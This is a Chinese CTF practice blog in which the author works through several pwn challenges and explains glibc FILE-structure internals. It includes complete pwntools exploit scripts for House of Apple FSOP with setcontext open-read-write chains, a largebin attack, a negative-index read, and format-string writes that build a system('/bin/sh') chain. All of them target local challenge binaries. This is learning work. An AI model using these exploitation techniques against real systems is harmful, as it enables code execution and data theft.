今天还没pwn吗

今天还没pwn吗

每次都是比赛前临时突击刷题,导致每次比赛都很害怕,所以以后打算每天都拿出一点点时间刷一道题。(实际是清理一下之前只保存却没有做的题

题目附件我会放到我的github仓库,想要的师傅可以自取https://github.com/N1mbus-lock/pwn

2025.11.17-20——2025强网杯bph

个人感觉这道题还是很不错的

漏洞点:可以在token泄露地址,存在一个任意地址写\x00

利用:可以通过任意地址置零设置stdin结构体的_IO_buf_base字段末尾为0,然后我们就可以通过输入覆盖_IO_buf_base和_IO_buf_end字段来控制我们写入的地址,选择覆盖stdout结构体来打house of apple加上通过setcontext实现orw

很爽了,做这道题的时候这些知识点虽然都知道,但是却几乎没有实践过,懂得很模糊

有一个点很疑惑,就是通过修改_IO_buf_base末尾为0。为什么可以导致写入,为什么之前的_IO_buf_base不能够写入到stdin结构体。(可以看https://bbs.kanxue.com/thread-261914.htm

然后我就去看写入前和写入后有什么区别

image

image

修改之后可以导致在0x00007f3395af2900和0x00007f3395af2964之间填入数据

image

这两个字段控制的是缓冲区大小,因为我们平时做题的代码都会设置无缓冲,所以缓冲区设置的是1,输入会从键盘到显示框里。当不为1的时候键盘输入就存在了缓冲区里,这时候再修改缓冲区就可以再指定任意地址写了

看了一份wp,打的是puts触发的,看了好久,想不明白为什么要这么写,只能根据wp调试反推一下了

进入到了puts函数里面,一直按s,可以看到进入到了这个函数里面_IO_wfile_xsputn

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
_IO_wfile_xsputn (FILE *f, const void *data, size_t n)
{
const wchar_t *s = (const wchar_t *) data;
size_t to_do = n;
int must_flush = 0;
size_t count;

if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */

/* First figure out how much space is available in the buffer. */
count = f->_wide_data->_IO_write_end - f->_wide_data->_IO_write_ptr;
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_wide_data->_IO_buf_end - f->_wide_data->_IO_write_ptr;
if (count >= n)
{
const wchar_t *p;
for (p = s + n; p > s; )
{
if (*--p == L'\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
if (count > 20)
{
f->_wide_data->_IO_write_ptr =
__wmempcpy (f->_wide_data->_IO_write_ptr, s, count);
s += count;
}
else
{
wchar_t *p = f->_wide_data->_IO_write_ptr;
int i = (int) count;
while (--i >= 0)
*p++ = *s++;
f->_wide_data->_IO_write_ptr = p;
}
to_do -= count;
}
if (to_do > 0)
to_do -= _IO_wdefault_xsputn (f, s, to_do);
if (must_flush
&& f->_wide_data->_IO_write_ptr != f->_wide_data->_IO_write_base)
_IO_wdo_write (f, f->_wide_data->_IO_write_base,
f->_wide_data->_IO_write_ptr
- f->_wide_data->_IO_write_base);

return n - to_do;
}

因为wp里面伪造了flag导致不会进入if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))并且f->_wide_data->_IO_write_end =0,f->_wide_data->_IO_write_ptr=0,导致缓冲区肯定写不下to_do

所以进入到一下分支

1
2
if (to_do > 0)
to_do -= _IO_wdefault_xsputn (f, s, to_do);

进行调用这个函数_IO_wdefault_xsputn

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
_IO_wdefault_xsputn (FILE *f, const void *data, size_t n)
{
const wchar_t *s = (const wchar_t *) data;
size_t more = n;
if (more <= 0)
return 0;
for (;;)
{
/* Space available. */
ssize_t count = (f->_wide_data->_IO_write_end
- f->_wide_data->_IO_write_ptr);
if (count > 0)
{
if ((size_t) count > more)
count = more;
if (count > 20)
{
f->_wide_data->_IO_write_ptr =
__wmempcpy (f->_wide_data->_IO_write_ptr, s, count);
s += count;
}
else if (count <= 0)
count = 0;
else
{
wchar_t *p = f->_wide_data->_IO_write_ptr;
ssize_t i;
for (i = count; --i >= 0; )
*p++ = *s++;
f->_wide_data->_IO_write_ptr = p;
}
more -= count;
}
if (more == 0 || __woverflow (f, *s++) == WEOF)
break;
more--;
}
return n - more;
}

因为cout还是等于0,所以只能执行到这if (more ** 0 || __woverflow (f, *s++) ** WEOF),而这里就是调用跳转表里面的_IO_OVERFLOW

1
2
3
4
5
6
__woverflow (FILE *f, wint_t wch)
{
if (f->_mode == 0)
_IO_fwide (f, 1);
return _IO_OVERFLOW (f, wch);
}

image

这个函数在跳转表里面偏移18的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
/* Otherwise must be currently reading. If _IO_read_ptr
(and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting
the read pointers to all point at the beginning of the
block). This makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving
that alone, so it can continue to correspond to the
external position). */
if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)
{
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_buf_base;
}
}
f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;
f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;
f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;
f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_read_end;

f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;
}
if (wch == WEOF)
return _IO_do_flush (f);
if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)
/* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return WEOF;
*f->_wide_data->_IO_write_ptr++ = wch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && wch == L'\n'))
if (_IO_do_flush (f) == EOF)
return WEOF;
return wch;
}

可以看到这里,当_IO_write_base=0的时候,就会调用_IO_wdoallocbuf

1
2
3
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);

然后进入到_IO_wdoallocbuf之后

1
2
3
4
5
6
7
8
9
10
11
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}

而这里会调用p->wide_data->vtable指向的跳转表,而这个没有检查跳转表是不是在规定的区间,所以可以修改为我们自己想要的值

(然后我看的这份wp,因为极致的空间利用,导致某些部分有些重合,所以一直没看懂,只能这么一步一步的调试过来看QwQ)

wp就是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python3

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io=process('./chall')
elf=ELF('./chall')
libc=ELF('./libc.so.6')

io.sendlineafter(b'Please input your token: ',b'a'*39)
io.recvuntil(b'a'*39+b'\n')
leaked_addr=u64(io.recv(6).ljust(8,b'\x00'))
print("leaked_addr",hex(leaked_addr))
libc_addr=leaked_addr - 126 - libc.sym['free']
print("libc_addr",hex(libc_addr))
# gdb.attach(io)

#在stdin的_IO_buf_base地址写\x00
target=libc_addr + libc.sym['_IO_2_1_stdin_'] + 0x38
print("target",hex(target))
io.sendlineafter(b'Choice: ', b'1')
#
io.sendlineafter(b'Size: ', str(target + 1).encode())
io.sendlineafter(b'Content: ', b'a')

stdout=libc_addr + libc.sym['_IO_2_1_stdout_']

io.send(b'a'*0x18+p64(stdout)+p64(stdout+0x300))

IO_wfile_jumps=libc_addr + libc.sym['_IO_wfile_jumps']
gadget=0x0000000000176f3e+libc_addr
setcontext=libc_addr + libc.sym['setcontext']
openat=libc_addr + libc.sym['openat']
read_addr=libc_addr + libc.sym['read']
write_addr=libc_addr + libc.sym['write']

rdi = libc_addr + 0x000000000010f78b
rsi = libc_addr + 0x0000000000110a7d
rdx = libc_addr + 0x00000000000ab8a1
rcx = libc_addr + 0x00000000000a877e

flag_addr = libc_addr + 0x2034a0

gdb.attach(io)
payload = flat({0x0:(~(2 | 0x8 | 0x800)),
0x28:1,
0x38:0,
0x88:libc_addr+0x203000, # '_lock'
0xa0:stdout+0xf0, # '_wide_data'
0xc0:0, # '_mode'
0xd8:IO_wfile_jumps, # 'vtable'
0xe8:stdout
}, filler=b"\x00")#触发house of apple

payload += flat({0x0:b"/flag\x00\x00\x00",
0x8:stdout+0xf0+0x20, #使用gadget的时候控制可以call setcontext+61
0x18:0,
0x30:0,
0x38:gadget,
0x40:setcontext+61,
0xe0:stdout+0x128-0x68, # 这里应该是wide_data->vtable,调用偏移为0x68
0xc0:stdout+0x1d8, # rsp
0xc8:openat, # rip
0x88:-100, # rdi
0x90:stdout+0xf0, # rsi
0xa8:4 # rdx
}, filler=b"\x00")

payload += flat([rdi, 3, rsi, flag_addr, rcx, flag_addr-0x10, rdx, 0x50,
read_addr, rdi, 1, write_addr])


io.send(payload)
io.interactive()

(本来刷题记录不想写这么多的,但是奈何我当时真的没看懂那一份wp,我好菜QwQ)

好像进入到puts的调用链里面只需要控制f->_wide_data->_IO_write_end =0,f->_wide_data->_IO_write_ptr=0,fp->_wide_data->_IO_buf_base=0就可以了,还有flag字段(~(2 | 0x8 | 0x800))就基本全绕过了(应该?)

这几天就这样吧,明天在做吧,打算做一道house of apple的

2025.11.21-25——pwn_oneday

今天做的事roderick师傅在介绍自己发现的house of apple的文章里面放的例题,之前本来打算写的,写了一半有事就给忘记了,今天打算重新做一下这道题

题目介绍:存在uaf漏洞,只能分配largebin,有三种大小key,key+16,2*key,使用的calloc分配,只能分配16个chunk,存在一次输出和一次写入

有一个问题,就是因为只有一次写,所以我们得布置一下堆空间,让wide_data写入的地址能够让我们在进行largebin attack的时候恰好也布置了。

这个堆风水,好难搞,为什么这个堆风水这么难配QAQ

经过我这几天坚持不懈的调试,终于,终于自己做出来了,太不容易了,我以为我应该是理解了house of apple这个利用手法的,但是当我做这道题目的时候,几乎是写一点卡一下,只能一点一点调试,然后修改我的伪造的结构的布局。踩的坑太多了,简直都不知道该怎么记录,所幸最后还是做出来了,当看到我自己写的flag出现在终端的时候,简直就是感动,太不容易了,实在还是太不容易了。

记录一下踩坑(可能太多了,有些我都不记得了)

1.当时配那个堆风水的时候,最开始我没有采纳roderick师傅写在例题处的那种方式,而是尝试自己去配。我当时采用的方案是先free一个2的chunk到largebin,然后通过之前放到这个chunk的0x30处的指针构造一个fake chunk1进行释放(通过唯一一次写修改那个chunk2),我甚至还在下面再构造一个0x80的chunk就是想绕过这个double free检测,但是我没想到还会继续往下查看我的prev_size对不对得上,导致一直没绕过(晕了)。最后还是采用roderick师傅得构造方式的时候才知道有多精妙,刚好可以溢出0x10,修改下一个chunk的size位。(所以chunk伪造还得是最少修改最好(确信))

2.然后就是构造结构体,太复杂了,因为我是纯手工自己配置,导致我写的地址总存在偏差,不得不一直动调进去计算,查看错误点,甚至因为太过混乱,我弄错了好几个字段,搞得我调了好久都不知道为什么会出问题。(这期间应该还有坑,但是我忘记了)(所以感觉house of apple有一个预制脚本真的是太爽了)

3.最后就是最后的rop部分了,我直接使用的bph的orw,结果,这些rdx竟然太大了,导致打开和读取失败,一段时间里面一直给我只读出来aaaaaaaaa,卡在最后一步一度让我很沮丧。但是因为知道rdx过大可能会造成函数调用失败,所以还是很快排查出来了。

接下来就是,终于写好了的wp!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#! /bin/python3 
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

io=process('./oneday')
libc=ELF('./libc.so.6')
elf=ELF('./oneday')

def choose(number):
io.recvuntil(b'enter your command: \n')
io.sendline(str(number).encode())

def add(choise):
choose(1)
io.recvuntil(b'choise: ')
io.sendline(str(choise).encode())

def dele(index):
choose(2)
io.recvuntil(b'Index:')
io.sendline(str(index).encode())

def read(index,content):
choose(3)
io.recvuntil(b'Index:')
io.sendline(str(index).encode())
io.recvuntil(b'Message: \n')
io.send(content)

def write(index):
choose(4)
io.recvuntil(b'Index:')
io.sendline(str(index).encode())

io.sendlineafter(b'enter your key >>\n',b'10')

add(2)#0
add(2)#1
add(1)#2

dele(2)
dele(1)
dele(0)

add(1)#3
add(1)#4
add(1)#5
add(1)#6

dele(3)
dele(5)

write(3)
io.recvline()
libc_addr=u64(io.recv(8).ljust(8,b'\x00'))
heap=u64(io.recv(8).ljust(8,b'\x00'))
offset_libc=0x7f70f84e8cc0-0x7f70f82f6000
offset_heap=0x0000555c95af47f0-0x555c95af3000
libc_addr-=offset_libc
heap-=offset_heap
log.success('libc_addr:'+hex(libc_addr))
log.success('heap:'+hex(heap))

dele(4)
dele(6)

add(3)#7
add(1)#8
add(1)#9

dele(8)
add(3)#10

offset=0x00007f299fd31260-0x7f299fb3e000
stdout=libc_addr+libc.symbols['_IO_2_1_stdout_']
io_file_list=libc_addr+libc.symbols['_IO_list_all']
log.success('io_file_list:'+hex(io_file_list))
log.success('stdout:'+hex(stdout))
heap1=heap+0x561ed1799810 - 0x561ed1798000
log.success('heap1:'+hex(heap1))
io_wfile_jump=libc_addr+libc.sym['_IO_wfile_jumps']
magic=libc_addr+0x00000000000fbe9e #mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
gadget=libc_addr+libc.sym['setcontext']
log.success('gadget:'+hex(gadget))
openat=libc_addr + libc.sym['openat']
read_addr=libc_addr + libc.sym['read']
write_addr=libc_addr + libc.sym['write']
rdi=libc_addr+0x000000000002daa2
rsi=libc_addr+0x0000000000037c0a
rdx_r12=libc_addr+0x00000000001066e1

payload=p64(0)+p64(io_file_list-0x20)
payload+=flat({0x0:(~(2 | 0x8 | 0x800)),
0x8:0xa81,
0x28:1, #这个值会被覆盖掉
0x38:0,
0x88:heap1+0x500,#lock
0xa0:heap1+0xf0,#wide_data
0xc0:0,#mode
0xd8:io_wfile_jump,#vtable
0xe0:0,
0xe8:0#最后两个0写错了,只是偏移之前已经计算好了,再改比较麻烦,就留下了
})
payload+=flat({0x0:0,
0x18:0,
0x30:0,
0x68:magic,
0x88:gadget+61,
0xb0:heap1+0x1f0,
0xe0:heap1+0xf0,
0xe8:0
})
payload+=p64(0)+b'/flag\x00\x00\x00'
payload+=flat({0xa0:heap1+0x2f0,#rsp
0xa8:openat,#rcx
0x68:-100,#rdi
0x70:heap1+0x1e8,#rsi
0x88:0#rdx
})
payload+=b'\x00'*0x50
payload+=p64(rdi)+p64(0x3)+p64(rsi)+p64(heap1+0x400)+p64(rdx_r12)+p64(0x50)+p64(0x0)+p64(read_addr)
payload+=p64(rdi)+p64(0x1)+p64(rsi)+p64(heap1+0x400)+p64(rdx_r12)+p64(0x50)+p64(0x0)+p64(write_addr)
payload1=payload.ljust(0xa98,b'a')
payload1+=p64(0xab1)


read(5, payload1)
dele(2)
add(3)
# gdb.attach(io)
io.sendlineafter(b'enter your command: \n',b'9')
io.interactive()

为什么感觉我的脚本写得还是那么丑陋呢(思索)

image

很久没有做一道题坚持这么久了,当看到flag的时候都开始感动了。

明天的刷题预告是,阴间ctf的CMWL,之前没做出来,但是我现在感觉我应该能做了,而且考点是house of 魑魅魍魉,当时都不知道这个手法。

2025.11.22——cursed_format

一个国外比赛的的题目,没什么新意,就纯考格式化字符串,只是因为之前不太喜欢格式化字符串所以一直不怎么会,用这道题练了练

我只打了本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

io=process('./cursed_format')
elf=ELF('./cursed_format')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def xor(a: bytes, b: bytes) -> bytes
res = bytearray(len(a))
for i in range(len(a)):
res[i] = a[i] ^ b[i % len(b)]
return bytes(res)


def strings(strings,key):
io.sendlineafter(b'>>',b'1')
io.sendline(xor(strings,key))

def leave():
io.sendlineafter(b'>>',b'2')

offset=12
offset1=0x29d90
strings((b'aaa%1$p.%19$p').ljust(32,b'\xff'),b'\xff'*32)
io.recvuntil(b'aaa')
stack=int(io.recv(14),16)
io.recvuntil(b'.')
libc_addr=int(io.recv(14),16)
libc_addr-=offset1
print('libc:',hex(libc_addr))
print('stack:',hex(stack))

pop_rdi=0x000000000002a3e5+libc_addr
sys=libc.sym['system']+libc_addr
binsh=next(libc.search(b'/bin/sh'))+libc_addr

pop_rdi_low=pop_rdi&0xff
pop_rdi_mid=(pop_rdi>>8)&0xff
pop_rdi_high=(pop_rdi>>16)&0xff


payload1=('%{}c%14$hhn'.format(pop_rdi_low).encode()).ljust(0x10,b'\x00')+p64(stack+0x38)
key1=(b'aaa%1$p.%19$p').ljust(32,b'\xff')
strings(payload1,key1)
payload2=('%{}c%14$hhn'.format(pop_rdi_mid).encode()).ljust(0x10,b'\x00')+p64(stack+0x39)
strings(payload2,payload1.ljust(32,b'\xff'))
payload3=('%{}c%14$hhn'.format(pop_rdi_high).encode()).ljust(0x10,b'\x00')+p64(stack+0x3a)
strings(payload3,payload2.ljust(32,b'\xff'))

binsh1=binsh&0xff
binsh2=(binsh>>8)&0xff
binsh3=(binsh>>16)&0xff
binsh4=(binsh>>24)&0xff
binsh5=(binsh>>32)&0xff
binsh6=(binsh>>40)&0xff

payload4=('%{}c%14$hhn'.format(binsh1).encode()).ljust(0x10,b'\x00')+p64(stack+0x40)
strings(payload4,payload3.ljust(32,b'\xff'))
payload5=('%{}c%14$hhn'.format(binsh2).encode()).ljust(0x10,b'\x00')+p64(stack+0x41)
strings(payload5,payload4.ljust(32,b'\xff'))
payload6=('%{}c%14$hhn'.format(binsh3).encode()).ljust(0x10,b'\x00')+p64(stack+0x42)
strings(payload6,payload5.ljust(32,b'\xff'))
payload7=('%{}c%14$hhn'.format(binsh4).encode()).ljust(0x10,b'\x00')+p64(stack+0x43)
strings(payload7,payload6.ljust(32,b'\xff'))
payload8=('%{}c%14$hhn'.format(binsh5).encode()).ljust(0x10,b'\x00')+p64(stack+0x44)
strings(payload8,payload7.ljust(32,b'\xff'))
payload9=('%{}c%14$hhn'.format(binsh6).encode()).ljust(0x10,b'\x00')+p64(stack+0x45)
strings(payload9,payload8.ljust(32,b'\xff'))

ret=pop_rdi+1

ret1=ret&0xff
ret2=(ret>>8)&0xff
ret3=(ret>>16)&0xff
ret4=(ret>>24)&0xff
ret5=(ret>>32)&0xff
ret6=(ret>>40)&0xff

payload10=('%{}c%14$hhn'.format(ret1).encode()).ljust(0x10,b'\x00')+p64(stack+0x48)
strings(payload10,payload9.ljust(32,b'\xff'))
payload11=('%{}c%14$hhn'.format(ret2).encode()).ljust(0x10,b'\x00')+p64(stack+0x49)
strings(payload11,payload10.ljust(32,b'\xff'))
payload12=('%{}c%14$hhn'.format(ret3).encode()).ljust(0x10,b'\x00')+p64(stack+0x4a)
strings(payload12,payload11.ljust(32,b'\xff'))
payload13=('%{}c%14$hhn'.format(ret4).encode()).ljust(0x10,b'\x00')+p64(stack+0x4b)
strings(payload13,payload12.ljust(32,b'\xff'))
payload14=('%{}c%14$hhn'.format(ret5).encode()).ljust(0x10,b'\x00')+p64(stack+0x4c)
strings(payload14,payload13.ljust(32,b'\xff'))
payload15=('%{}c%14$hhn'.format(ret6).encode()).ljust(0x10,b'\x00')+p64(stack+0x4d)
strings(payload15,payload14.ljust(32,b'\xff'))

sys1=sys&0xff
sys2=(sys>>8)&0xff
sys3=(sys>>16)&0xff
sys4=(sys>>24)&0xff
sys5=(sys>>32)&0xff
sys6=(sys>>40)&0xff

payload16=('%{}c%14$hhn'.format(sys1).encode()).ljust(0x10,b'\x00')+p64(stack+0x50)
strings(payload16,payload15.ljust(32,b'\xff'))
payload17=('%{}c%14$hhn'.format(sys2).encode()).ljust(0x10,b'\x00')+p64(stack+0x51)
strings(payload17,payload16.ljust(32,b'\xff'))
payload18=('%{}c%14$hhn'.format(sys3).encode()).ljust(0x10,b'\x00')+p64(stack+0x52)
strings(payload18,payload17.ljust(32,b'\xff'))
payload19=('%{}c%14$hhn'.format(sys4).encode()).ljust(0x10,b'\x00')+p64(stack+0x53)
strings(payload19,payload18.ljust(32,b'\xff'))
payload20=('%{}c%14$hhn'.format(sys5).encode()).ljust(0x10,b'\x00')+p64(stack+0x54)
strings(payload20,payload19.ljust(32,b'\xff'))
payload21=('%{}c%14$hhn'.format(sys6).encode()).ljust(0x10,b'\x00')+p64(stack+0x55)
strings(payload21,payload20.ljust(32,b'\xff'))

# gdb.attach(io)

leave()


io.interactive()

感觉自己的脚本有点丑陋了,本来应该写循环来实现的,但是,vscode的自动补全太好用了,一直tab就打完了,所以就没用循环。

2025.11.26——阴间CTF_CMWL

只能分配largebin大小的chunk,限制了free次数为2次,write次数为1次,感觉应该也可以用house of apple吧,这个有沙箱,怎么现在的题都会加沙箱了吗,已经好久没有遇到没有沙箱的题目了。

打算先用house of apple去试试。

(拖欠………)

不知道为什么我感觉明明构造好了但是exit的时候没有进入链子(疲惫)明天在调调吧

2025.11.27——pwn

看了一下今天一个比赛的题,也没有名字,就干脆叫pwn了,没想到pwn竟然在运维赛道里面。

我当时一看这个题,就感觉应该是打house of apple,但是又给了我一个函数的的地址(可以算出起始地址)。我仔细一看,虽然开了沙箱,但是flag已经打开了直接放到堆里面了然后在放到了bss段上,然后当一个段上的数据满足条件,就可以直接输出flag。

image

堆块操作除了限制只能创建15个堆块以外,几乎没什么限制。

感觉很迷茫,倒不是做不出来,只是不知道到底想考什么,如果想考house of apple,给一个gift给我是要干什么呢,而且可以直接执行write输出堆上数据,不需要那个输出flag的函数了。如果选择覆盖bss段一段数据,直接输出flag,使用largebin attack,那么可以分配的chunk又不够。

(由于我这两天调house of apple的链子调得有点死了,所以不是很想使用house of apple去打)

(可能是因为我能力问题吧,我确实不知道出题人想考什么知识点)

但是看着在bss段和chunk里面的flag确实试心痒难耐啊,看得到,拿不到

于是我发现

image

image

edit和show里面都没有检查n的合法行,而且n还是int类型,那么就可以直接写负数。

image

而0x55963aaf9008的地址刚好指向我自己(其实是因为我找了好久),如果我们索引到这,就可以往这读写,直接使用show的话,只有0x50,刚好在flag上面停住了,所以我们可以从这开始写。

这时候我们只需呀使用largebin attack把存储大小的地方修改为一个大数,就可以覆盖到索引输出chunk的地方,修改为flag的chunk就可以直接输出flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*

context(os='linux',arch='amd64',log_level='debug')
io=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,data):#0x400-0x500
io.sendlineafter(b'5.exit\n',b'1')
io.sendlineafter(b'input size>>',str(size))
io.sendlineafter(b'input data>>',data)


def edit(index,data):
io.sendlineafter(b'5.exit\n',b'2')
io.sendlineafter(b'input index>>',str(index))
io.sendlineafter(b'input data>>',data)

def show(index):
io.sendlineafter(b'5.exit\n',b'3')
io.sendlineafter(b'input index>>',str(index))

def dele(index):
io.sendlineafter(b'5.exit\n',b'4')
io.sendlineafter(b'input index>>',str(index))

io.recvuntil(b'gift:\n')
data=int(io.recv(14),16)
print(hex(data))
start=data-0x1a44
print("start:",hex(start))

target=start+0x4088

add(0x430,b'0'*0x20)
add(0x450,b'1'*0x20)
add(0x450,b'2'*0x20)
add(0x450,b'3'*0x20)

dele(2)
add(0x470,b'4'*0x20)
show(2)
io.recvuntil(b'data>>\n')
libc_addr=u64(io.recv(8).ljust(8,b'\x00'))
io.recv(8)
heap=u64(io.recv(8).ljust(8,b'\x00'))
heap-=0x000055925fe0ed20-0x55925fe0d000
offset=0x00007f137d5ff0e0 - 0x7f137d3e4000
libc_addr-=offset
print("libc;",hex(libc_addr))
print("heap:",hex(heap))
dele(0)
edit(2,p64(libc_addr+offset)*2+p64(0)+p64(target-0x20))
add(0x470,b'5'*0x20)

stdout=libc_addr+libc.symbols['_IO_2_1_stdout_']
stdin=libc_addr+libc.symbols['_IO_2_1_stdin_']
stderr=libc_addr+libc.symbols['_IO_2_1_stderr_']
gdb.attach(io)
payload=p64(target)+b'a'*0x10+p64(stdout)+p64(0)+p64(stdin)+p64(0)+p64(stderr)+p64(0)+b'\x00'*0x70+p64(heap+0x480)
edit(-23,payload)
show(0)

io.interactive()

image

果然还是题目不严谨,才能这么做吧


今天还没pwn吗
http://example.com/post/haven-t-pwned-yet-today-1ucsvd.html
作者
N1mbus
发布于
2025年11月20日
更新于
2025年11月20日
许可协议